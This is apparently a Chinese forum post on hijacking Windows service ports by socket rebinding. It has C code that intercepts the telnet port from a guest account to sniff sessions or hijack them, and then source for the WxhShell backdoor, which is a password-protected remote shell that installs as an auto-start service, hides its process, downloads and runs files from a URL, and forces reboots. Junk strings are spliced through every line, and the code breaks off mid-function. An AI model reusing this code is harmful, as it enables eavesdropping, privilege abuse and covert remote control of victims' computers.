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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kz|[*%10  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); } _VZ  
\ /sF:~=  
  saddr.sin_family = AF_INET; t>-XT|lV  
(F_7%!g1d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o+R. u}|  
 1dXh\r_n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .>a$g7Rj  
C!I\Gh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L;kyAX@^  
<|wmjW/ D  
  这意味着什么?意味着可以进行如下的攻击: =1_jaDp  
gFgcxe6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H.f9d.<W%  
g')?J<z   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8Y]u:v  
Ubpg92  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W|FNDP0  
ud!r*E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C=M?  
FJ nG<5Rh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MEDskvBG  
Z|f^nH#-C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !/[AQ{**T!  
ta2z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 78\\8*  
#NSaY+V  
  #include mfUKHX5  
  #include %Ud.SJ 3  
  #include jWz|K  
  #include    Ab/v_ mA;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C}|O#"t^\  
  int main() I(F1S,7  
  { L'zdsa}Et  
  WORD wVersionRequested; QZ_nQ3K  
  DWORD ret; )bF)RL Z  
  WSADATA wsaData; if\k[O 1T6  
  BOOL val; &Qz"nCvJ  
  SOCKADDR_IN saddr; I*%&)Hj~  
  SOCKADDR_IN scaddr; %_cg|yy  
  int err; b 49|4   
  SOCKET s; &xF4p,7  
  SOCKET sc; 7ZrJ#n8?ih  
  int caddsize; (%=lq#,   
  HANDLE mt; b'i%B9yU:%  
  DWORD tid;   G>9'5Lt  
  wVersionRequested = MAKEWORD( 2, 2 ); kemr@_  
  err = WSAStartup( wVersionRequested, &wsaData ); H 7 o$O  
  if ( err != 0 ) { `=WzG"  
  printf("error!WSAStartup failed!\n"); ^2P;CAjj-  
  return -1; k)o7COx  
  } `V$cz88b  
  saddr.sin_family = AF_INET; ZhxfI?i)l  
   =rE `ib  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0`zm>fh}  
JB: mbH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bt. K<Y0  
  saddr.sin_port = htons(23); !!\4'Q[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B]CS2LEqh  
  { o%QhV6(F  
  printf("error!socket failed!\n"); ,5%aP%  
  return -1; V1AEjh  
  } 4{1c7g  
  val = TRUE; GZ-n! ^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aa'0EU:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :X]lXock0  
  { 9.]Cy8  
  printf("error!setsockopt failed!\n"); ZnxOa  
  return -1; .'+|>6eU  
  } \3 O-} n1S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y^vfgP<@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S<)RVm,!e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $]`'Mi  
~%::r_hQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :5n"N5Go  
  { +$Ddd`J'  
  ret=GetLastError(); oC;l5v<  
  printf("error!bind failed!\n"); ^[SbV^DOL  
  return -1; gw*yIZ@3)  
  } =!Baz&#}  
  listen(s,2); gs)%.k[BqG  
  while(1) GHJQ d&G8G  
  { :ok!,QN  
  caddsize = sizeof(scaddr); Z\o AE<$  
  //接受连接请求 J/H#d')c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); co(fGp#!  
  if(sc!=INVALID_SOCKET) r[i~4N=  
  { V9);kD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "J0Oa?  
  if(mt==NULL) B_6v'=7]  
  { kKI!B`j=  
  printf("Thread Creat Failed!\n"); 6='_+{   
  break; tle K (^  
  } N:sECGS,  
  }  G$cq   
  CloseHandle(mt); (D +{0 /  
  } rVIb'sa  
  closesocket(s); /s-jR]#VA  
  WSACleanup(); 5O4&BxQ~}  
  return 0; q#':aXcv"  
  }   LU 5 `!0m  
  DWORD WINAPI ClientThread(LPVOID lpParam) hBs>2u|z9  
  { K.sj"#D  
  SOCKET ss = (SOCKET)lpParam; { ?1 mY"  
  SOCKET sc; CgPZvB[  
  unsigned char buf[4096]; 5i wikC=y  
  SOCKADDR_IN saddr; cWy*K4O  
  long num; :)3$&QdHT  
  DWORD val; x X=IMM3  
  DWORD ret; Dk. 9&9mz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lpX p )r+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j)SgB7Q  
  saddr.sin_family = AF_INET; au9Wo<mR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D aqy+:  
  saddr.sin_port = htons(23); f T+n-B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wy0a2Ve  
  { 1V?Sj  
  printf("error!socket failed!\n"); 6DiA2'{f  
  return -1; D2wgSrY  
  } `'tw5}  
  val = 100; D;#Yn M3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R'a5,zEo/  
  { F.* snF  
  ret = GetLastError(); ;V}FbWz^v6  
  return -1; IbNTdg]/F`  
  } ,:Ix s^-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cg%I)nz  
  {  PtVNG  
  ret = GetLastError(); t+TbCe  
  return -1; &#EVE xL  
  } :Y)kKq d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VAB&&AL  
  { /x"pj3  
  printf("error!socket connect failed!\n"); >+c`GpZH  
  closesocket(sc); "x)pp  
  closesocket(ss); ,Elga}7u  
  return -1; DF&jZ[##  
  } K Lv  
  while(1) 3B_} :  
  { 4Hd@U&E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7=ga_2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >kLH6.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zR/p}Wu|!  
  num = recv(ss,buf,4096,0); MZ+IorZl  
  if(num>0) '[ddE!ta  
  send(sc,buf,num,0); t>=y7n&q  
  else if(num==0) 1V9X(uP  
  break; 2b&;Y/z  
  num = recv(sc,buf,4096,0); F~- S3p  
  if(num>0) Zp(P)Obs#  
  send(ss,buf,num,0); N55=&-p  
  else if(num==0) n N]vu  
  break; i:Ct6[  
  } ?lw[  
  closesocket(ss); @p'v.;~#  
  closesocket(sc); D+U/]sW  
  return 0 ; y&I|m  
  } #$z-]i  
n|`):sP  
%'~<:>:"E  
========================================================== ~v,KI["o  
Z 5YW L4s  
下边附上一个代码,,WXhSHELL 8`*9jr  
%D6Wlf+^n  
========================================================== ~q%9zO'  
 $.]t1e7s  
#include "stdafx.h" )A+j  
tMk>Bx9[  
#include <stdio.h> HyYQQ  
#include <string.h> PY:#F|uHS`  
#include <windows.h> ->25$5#  
#include <winsock2.h> |+=:x]#vV  
#include <winsvc.h> e/#&5ISk  
#include <urlmon.h> ?GfA;O  
(pK4i5lT  
#pragma comment (lib, "Ws2_32.lib") ?m7"G)  
#pragma comment (lib, "urlmon.lib") FG36,6N%2j  
xla^A}{  
#define MAX_USER   100 // 最大客户端连接数 3#ZKuGg=  
#define BUF_SOCK   200 // sock buffer Ip|^?uyrk  
#define KEY_BUFF   255 // 输入 buffer Wjk;"_"gd  
!P^$g R  
#define REBOOT     0   // 重启 1? hd  
#define SHUTDOWN   1   // 关机 qJzK8eW  
v})Ti190  
#define DEF_PORT   5000 // 监听端口 a7d-  
12DdUPOi  
#define REG_LEN     16   // 注册表键长度 nMvIL2:3  
#define SVC_LEN     80   // NT服务名长度 B148wh#r  
BW\5RIWwE5  
// 从dll定义API .W.U:C1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 67:<X(u+!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Jp.3,\?~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '>3RZ& O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {:8[Mdf  
")gCA:1-  
// wxhshell配置信息  Kj|F  
struct WSCFG { ~:b~f]lO  
  int ws_port;         // 监听端口 Y9ce"*b  
  char ws_passstr[REG_LEN]; // 口令 ojqX#>0K  
  int ws_autoins;       // 安装标记, 1=yes 0=no `B 0*/ml  
  char ws_regname[REG_LEN]; // 注册表键名 ur[bh  
  char ws_svcname[REG_LEN]; // 服务名 Sf:lN4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O5*uL{pvT{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ym2m1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F5q1VEe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z2zp c^i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L6 # d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 = gyK*F(RK  
>2a#|_-T  
}; ebVfny$D  
P.J}\;S T  
// default Wxhshell configuration K ePHn:c  
struct WSCFG wscfg={DEF_PORT, \Rt  
    "xuhuanlingzhe", ;9sVWJJCw  
    1, Tj+WO6#V  
    "Wxhshell", ;BvWU\!  
    "Wxhshell", <v^.FxId  
            "WxhShell Service", ]qRz!D%@^  
    "Wrsky Windows CmdShell Service", #Og_q$})f  
    "Please Input Your Password: ",  \hc9Rk  
  1, 'z5 ;o :T  
  "http://www.wrsky.com/wxhshell.exe", $MGd>3%y  
  "Wxhshell.exe" Q+N @j]'  
    }; svgi!=  
x B[# a*  
// 消息定义模块 ,%<77LE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zg"ZXZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mL+ps x+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /n=/WGl  
char *msg_ws_ext="\n\rExit."; H#akE\,  
char *msg_ws_end="\n\rQuit."; `Y9@?s Q  
char *msg_ws_boot="\n\rReboot..."; qQryv_QP  
char *msg_ws_poff="\n\rShutdown..."; kXRD_B5&  
char *msg_ws_down="\n\rSave to "; ^2tCDm5  
r]{:{Z  
char *msg_ws_err="\n\rErr!"; ~Q\[b%>J  
char *msg_ws_ok="\n\rOK!"; i ib-\j4d  
KDk^)zv%!  
char ExeFile[MAX_PATH]; C5FtJquGN)  
int nUser = 0; LdV_7)  
HANDLE handles[MAX_USER]; SY.V_O$l }  
int OsIsNt; l-rI|0D#  
BZsxf'eN'  
SERVICE_STATUS       serviceStatus; )^AO?MW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PeZ=ONY5  
oizoKwp%  
// 函数声明 cA,xf@itp  
int Install(void); 57rP@,vj  
int Uninstall(void); n&lLC&dL  
int DownloadFile(char *sURL, SOCKET wsh); _Yv9u'q"  
int Boot(int flag); ,;;~dfHm  
void HideProc(void); q_)DY f7V}  
int GetOsVer(void); -)/>qFj )  
int Wxhshell(SOCKET wsl); +=v|kd  
void TalkWithClient(void *cs); L[efiiLh$  
int CmdShell(SOCKET sock); 5NK:94&JE  
int StartFromService(void); _GS2&|7`  
int StartWxhshell(LPSTR lpCmdLine); oUH\SW8?  
Oi RqqD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0td;Ag  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l }[ 4  
gKnAw+u\  
// 数据结构和表定义 1RLSeT  
SERVICE_TABLE_ENTRY DispatchTable[] = @%K 8 oYK  
{ /TdTo@  
{wscfg.ws_svcname, NTServiceMain}, qH$p]+Rk 5  
{NULL, NULL} ( s*}=  
}; FM5$83Q  
/V^S)5r  
// 自我安装 x:(e: I8x(  
int Install(void) "D+QT+sD  
{ 'W)x<Iey1  
  char svExeFile[MAX_PATH]; QJ QQ-  
  HKEY key; h6#  
  strcpy(svExeFile,ExeFile); K% ;O$ >  
m@~HHwj  
// 如果是win9x系统,修改注册表设为自启动 d-4u*>  
if(!OsIsNt) { }w$/x<Q[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jU=)4nx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D:f#  
  RegCloseKey(key); r&#q=R},p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZyTah\yPM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L^22,B 0  
  RegCloseKey(key); ~V<je b  
  return 0; yy9Bd>  
    } *op7:o_  
  } Z]aSo07  
} i^=an?}/  
else { hPl;2r  
BR|dW4\  
// 如果是NT以上系统,安装为系统服务 b{sFN !  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :x_l"y"  
if (schSCManager!=0) ,5q^/h  
{ r`lgK2r\  
  SC_HANDLE schService = CreateService ar{Yq  
  ( 8F%T Z M  
  schSCManager, a].Bn#AH!C  
  wscfg.ws_svcname, r+>9O  
  wscfg.ws_svcdisp, L&eO?I=,  
  SERVICE_ALL_ACCESS, p@P[pzxI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4}gwMjU-B  
  SERVICE_AUTO_START, aPWFb.JO4  
  SERVICE_ERROR_NORMAL, ]TGJ|X  
  svExeFile, D4@=+  
  NULL, ]J~5{srq:  
  NULL, <F&S   
  NULL, ,2u]rLxx;  
  NULL, l.C {Ar  
  NULL IUzRE?Kzf  
  ); ])e6\)  
  if (schService!=0) :5;[Rg5 2  
  { 18a6i^7  
  CloseServiceHandle(schService); ^c+6?  
  CloseServiceHandle(schSCManager); K":- zS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vG<Mz?wr  
  strcat(svExeFile,wscfg.ws_svcname); zm"&8/l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <{e0 i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2H4+D)  
  RegCloseKey(key); GJ!usv u  
  return 0; IWTD>c).  
    } -6#i~a]  
  } 594$X@ !v  
  CloseServiceHandle(schSCManager); =_=jXWOQv  
} iPxSVH[  
} A*W QdY  
n_iq85  
return 1; @Yy=HV  
} \}Hk`n)Aq  
r/8,4:rh  
// 自我卸载  Zuwd(q  
int Uninstall(void) )TG\P,H9  
{ * _U z**M  
  HKEY key; )07M8o !^l  
tBdvk>d  
if(!OsIsNt) { <PXA`]x~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 852$Ui|I  
  RegDeleteValue(key,wscfg.ws_regname); )p(XY34]  
  RegCloseKey(key); q18dSu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JWM/np6  
  RegDeleteValue(key,wscfg.ws_regname); % kKtPrT  
  RegCloseKey(key); HH8a"Hq)  
  return 0; 0W#.$X5  
  } ">NBPanJ  
} 2x'JR yef  
} y%p&g  
else { $  5  
 6 5qH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1,BtOzuRo  
if (schSCManager!=0) zI(b#eUF  
{ ,NKDEcw]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  XW`&1qx  
  if (schService!=0) hNSV}~h  
  { *T*MLD]Q  
  if(DeleteService(schService)!=0) { ^hTq~"  
  CloseServiceHandle(schService); D6c4tA^EO  
  CloseServiceHandle(schSCManager); L<5go\!bV  
  return 0; z_CBOJl#C!  
  } LR'F/.Dx  
  CloseServiceHandle(schService); 7_n@iUG2n  
  } Mv JEX8M  
  CloseServiceHandle(schSCManager); L@9"6&  
} Q{V|{yV^y  
} 0|HD(d`a  
!Vv$  
return 1; cqi: Rj  
} .Mdxbs6.C  
XEY((VL0  
// 从指定url下载文件 !SKEL6~7  
int DownloadFile(char *sURL, SOCKET wsh) B?$pIG^Mn  
{ T'0Ot3m`  
  HRESULT hr; l^WFMeMD3a  
char seps[]= "/"; )# M*@e$k  
char *token; 5}E8Tl  
char *file; i{ eDV  
char myURL[MAX_PATH]; kce+aiv|u  
char myFILE[MAX_PATH]; ~g~z"!K  
Ri"3o  
strcpy(myURL,sURL); +Q8B in  
  token=strtok(myURL,seps); bxK1v7  
  while(token!=NULL) 83Bp_K2\  
  { +wgNuj0=*  
    file=token; ] +LleS5  
  token=strtok(NULL,seps); ie=tM'fb  
  } 0r.*7aXu  
"#qyX[\  
GetCurrentDirectory(MAX_PATH,myFILE); 7.hn@_  
strcat(myFILE, "\\"); 2_R' Kl![  
strcat(myFILE, file); %, XyhS5[o  
  send(wsh,myFILE,strlen(myFILE),0); xmT(yv,  
send(wsh,"...",3,0); Yhb=^)@))  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1#&*xF "  
  if(hr==S_OK) 2~K.m@U}!Z  
return 0; ZS4lb=)G  
else C3:4V2<_  
return 1; $7T3wv9  
MrXhVZ"d*  
} ry/AF  
"'~'xaU!=a  
// 系统电源模块 ??CtmH  
int Boot(int flag) 6dt]$  
{ ?A3pXa  
  HANDLE hToken; k z@@/DD/9  
  TOKEN_PRIVILEGES tkp; \8'fy\  
KE]!7+8-  
  if(OsIsNt) { `Jq ?+W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rL w,?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S2HGf~rE  
    tkp.PrivilegeCount = 1; $ o?Wum  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z}5 ;K"T/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .:B] a7b  
if(flag==REBOOT) { :[ F`tDL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S>Z V8  
  return 0; Ysz{~E'  
} P%]li`56-c  
else {  !NUsfd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T9osueh4  
  return 0; !=;^Grv>  
} F0t!k>  
  } #DXC 6f  
  else { )c b e 4  
if(flag==REBOOT) { ]j(2FM)#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BSY2\AL p  
  return 0; vd c k  
} 3)^-A4~E  
else {  {.GC7dx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q+>J'UGb  
  return 0; %=xR$<D  
} o$FqMRep  
} kL 6f^MoL  
N|EH`eu^i  
return 1; 7hqa|  
} Jtnuo]{R  
T^x7w+  
// win9x进程隐藏模块 ^a4y+!  
void HideProc(void) "45O!AjP  
{ ja3wXz$2  
>:!TfuU^R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |kyxa2F{  
  if ( hKernel != NULL ) h?jy'>T?b2  
  { <i``#" /  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "K5n|{#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =/&ob%J)9]  
    FreeLibrary(hKernel); X[\b!<C  
  } 8`XT`H  
4J Bm|Pf(  
return; }A3(g$8KR  
} RbKAB8  
W|_ @ju  
// 获取操作系统版本 :j)H;@[I  
int GetOsVer(void) Pf5RlpL:p  
{ u0`~ |K  
  OSVERSIONINFO winfo; vi')-1Y KM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kFZw"5hb  
  GetVersionEx(&winfo); s7e)Mt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +e+hIMur  
  return 1; mO;X>~K  
  else KoZ" yD  
  return 0; y Dg  
} xq+$Q:f  
'yxRz5  
// 客户端句柄模块 N>!RKf:ir  
int Wxhshell(SOCKET wsl) ~n9BN'@x  
{ 6Ko[[?Lf[  
  SOCKET wsh; 0i/l2&x*k]  
  struct sockaddr_in client;  KoVy,@  
  DWORD myID; ig:,:KN  
v*`$is+  
  while(nUser<MAX_USER) w|!>>W6J  
{ pv*u[ffi  
  int nSize=sizeof(client); :=WiT_M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `p1szZD&  
  if(wsh==INVALID_SOCKET) return 1; :c3}J<Z  
)X2=x^u*U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); awLN>KI]</  
if(handles[nUser]==0) Q/&H3N  
  closesocket(wsh); CKwrE]h  
else }mQ7N&cC  
  nUser++; # le<R  
  } rKEi1b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T^.;yU_B?  
m?bd6'&FR  
  return 0; vHSX3\(  
} Nr)v!z~y   
yx?Z&9z <  
// 关闭 socket K0$8t%Z.  
void CloseIt(SOCKET wsh) QSPneYD  
{ =c>2d.^l  
closesocket(wsh); o&}!bq]  
nUser--; D# |+PG7  
ExitThread(0); ~Z-M?8:  
} 5VI c  
1Q1NircJ  
// 客户端请求句柄 1FCqkwq[  
void TalkWithClient(void *cs) Y/cnj n  
{ (3 xCW  
_Kdqa%L !  
  SOCKET wsh=(SOCKET)cs; Ojqbj0E9  
  char pwd[SVC_LEN]; z%-Yz- G9  
  char cmd[KEY_BUFF]; T(t@[U2^  
char chr[1]; \; ! oG  
int i,j; ?HwW~aO  
Ay\=&4dv  
  while (nUser < MAX_USER) { KW.*LoO  
Sq^f}q  
if(wscfg.ws_passstr) { ^Xv_y+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wBz?OnD/D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V5w00s5?%  
  //ZeroMemory(pwd,KEY_BUFF); _GEt:=DAP#  
      i=0; (B|4wR\  
  while(i<SVC_LEN) { (IdXJvKU!  
#'5|$ug[  
  // 设置超时 zAT7 ^q^  
  fd_set FdRead; A9Cq(L_H  
  struct timeval TimeOut; ~uy{6U{&I  
  FD_ZERO(&FdRead); Bk,:a,  
  FD_SET(wsh,&FdRead); %Jy0?WN  
  TimeOut.tv_sec=8; 2R9AYI  
  TimeOut.tv_usec=0; +M4X r *  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~aKM+KmtPH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X(s HFVU+  
N-XOPwx'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fik*-$V`  
  pwd=chr[0]; vv='.R, D  
  if(chr[0]==0xd || chr[0]==0xa) { /{Ff)<Q.Z  
  pwd=0; anDwv }  
  break; 1Rrp#E}  
  } lmmB=F  
  i++; )P&>Tc?;z  
    } |'@c ~yc  
6z;C~_BV  
  // 如果是非法用户,关闭 socket k?(x}IZdG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +?"N5%a%F  
} hf5yTs  
[[uKakp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VVY#g%(K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h)S223[  
XLwmXi  
while(1) { IE/F =Wr  
<ezv  
  ZeroMemory(cmd,KEY_BUFF); K@uUe3  
{+D 6o  
      // 自动支持客户端 telnet标准   E?$|`<o{|`  
  j=0; uu08q<B5b)  
  while(j<KEY_BUFF) { TL^af-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nR%ASUx:Y  
  cmd[j]=chr[0]; Qs v3`c  
  if(chr[0]==0xa || chr[0]==0xd) { %N((p[\H  
  cmd[j]=0; O>8|Lc  
  break; ly,3,ok  
  } UO3QwZ4j;  
  j++; +Fn^@/?yC  
    } h7],/? s  
 :{#%_^}k  
  // 下载文件 |%wgux`z  
  if(strstr(cmd,"http://")) { w5j6RQml  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;Y/{q B!  
  if(DownloadFile(cmd,wsh)) c eH8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F.9SyB$  
  else OnD!*jy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t(<^of:  
  } 4 h}03 oG  
  else { XctSw  
xZmO^F5KHj  
    switch(cmd[0]) { d4y?2p ?3  
  5U%J,W  
  // 帮助 b=V"$(Q  
  case '?': { $!~R'N c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $f++n5I  
    break; j=r aS  
  } OR{<)L  
  // 安装 qG=?+em  
  case 'i': { u\L=nCtLby  
    if(Install()) 4!%@{H`3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yr4j  
    else jO` b&]0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,tt .oF|  
    break; 5m.{ayE  
    } N^G $:GC  
  // 卸载 G~$.Af!9W  
  case 'r': { (s:ihpI  
    if(Uninstall())  18(hrj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7(ni_|$|  
    else L5+X&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uL\b*rI  
    break; 4*j6~  
    } Y]zy=8q  
  // 显示 wxhshell 所在路径 }rWEa^  
  case 'p': { O9+Dd%_KS#  
    char svExeFile[MAX_PATH]; d|P,e;m-  
    strcpy(svExeFile,"\n\r"); goE \C  
      strcat(svExeFile,ExeFile); 'H19@b5rx  
        send(wsh,svExeFile,strlen(svExeFile),0); `"7}'|  
    break; i~};5j(  
    } ,M4G_U[  
  // 重启 n\-nBrVSf  
  case 'b': { S]}hh,A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3MmpB9l#H  
    if(Boot(REBOOT)) ce3UB~Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e;|:W A  
    else { #9( 0.!v  
    closesocket(wsh); ?%|w?Fdx-  
    ExitThread(0); ~wtK(U  
    } }@)r\t4m  
    break; mp !S<m  
    } <Ny DrO"C3  
  // 关机 Io(*_3V)B  
  case 'd': { 4# L}&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KT 4h3D`,  
    if(Boot(SHUTDOWN)) 9wTN *y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z! /!4(Fh  
    else { Q[vQT?J7  
